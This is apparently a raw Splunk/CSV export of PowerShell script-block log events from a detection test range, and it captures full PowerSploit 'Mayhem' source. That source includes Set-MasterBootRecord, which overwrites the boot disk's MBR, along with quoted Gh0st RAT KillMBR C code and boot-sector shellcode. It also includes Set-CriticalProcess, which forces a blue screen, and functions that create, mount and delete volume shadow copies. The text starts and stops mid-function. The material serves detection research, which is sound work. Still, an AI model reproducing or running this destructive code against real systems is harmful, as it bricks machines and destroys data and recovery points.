int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
""\\\\.\\PHYSICALDRIVE0"",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes.""
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw ""Unable to obtain read/write handle to $DeviceID""
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}",,,,,,,,,,,"'2022-05-02T18:24:38.090522600Z'","4104132150x0122439Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122439Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table).
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""
""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""
""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
""\\\\.\\PHYSICALDRIVE0"",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes.""
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw ""Unable to obtain read/write handle to $DeviceID""
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}
a455a017-2db4-4502-ad88-0c75c3ae73e1C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122439,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122439,win,369,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0001-6A4A-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
Lists the device paths of all local volume shadow copies.
PowerSploit Function: Get-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
}
function New-VolumeShadowCopy
{
<#
.SYNOPSIS
Creates a new volume shadow copy.
PowerSploit Function: New-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
.PARAMETER Volume
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
.PARAMETER Context
Context that the provider uses when creating the shadow. The default is ""ClientAccessible"".
.EXAMPLE
New-VolumeShadowCopy -Volume C:\
Description
-----------
Creates a new VolumeShadowCopy of the C drive
#>
Param(
[Parameter(Mandatory = $True)]
[ValidatePattern('^\w:\\')]
[String]
$Volume,
[Parameter(Mandatory = $False)]
[ValidateSet(""ClientAccessible"")]
[String]
$Context = ""ClientAccessible""
)
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Save VSS Service initial state
$running = (Get-Service -Name VSS).Status
$class = [WMICLASS]""root\cimv2:win32_shadowcopy""
$return = $class.create(""$Volume"", ""$Context"")
switch($return.returnvalue)
{
1 {Write-Error ""Access denied.""; break}
2 {Write-Error ""Invalid argument.""; break}
3 {Write-Error ""Specified volume not found.""; break}
4 {Write-Error ""Specified volume not supported.""; break}
5 {Write-Error ""Unsupported shadow copy context.""; break}
6 {Write-Error ""Insufficient storage.""; break}
7 {Write-Error ""Volume is in use.""; break}
8 {Write-Error ""Maximum number of shadow copies reached.""; break}
9 {Write-Error ""Another shadow copy operation is already in progress.""; break}
10 {Write-Error ""Shadow copy provider vetoed the operation.""; break}
11 {Write-Error ""Shadow copy provider not registered.""; break}
12 {Write-Error ""Shadow copy provider failure.""; break}
13 {Write-Error ""Unknown error.""; break}
default {break}
}
# If VSS Service was Stopped at the start, return VSS to ""Stopped"" state
if($running -eq ""Stopped"")
{
Stop-Service -Name VSS
}
}
function Remove-VolumeShadowCopy
{
<#
.SYNOPSIS
Deletes a volume shadow copy.
PowerSploit Function: Remove-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
.PARAMETER InputObject
Specifies the Win32_ShadowCopy object to remove
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
Description
-----------
Removes all volume shadow copy
.EXAMPLE
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
Description
-----------
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
#>
[CmdletBinding(SupportsShouldProcess = $True)]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String]
$DevicePath
)
PROCESS
{
if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed""))
{
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
}
}
}
function Mount-VolumeShadowCopy
{
<#
.SYNOPSIS
Mounts a volume shadow copy.
PowerSploit Function: Mount-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
.PARAMETER Path
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
Description
-----------
Create a mount point in 'C:\VSS' for each volume shadow copy volume
.EXAMPLE
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
.EXAMPLE
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
#>
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
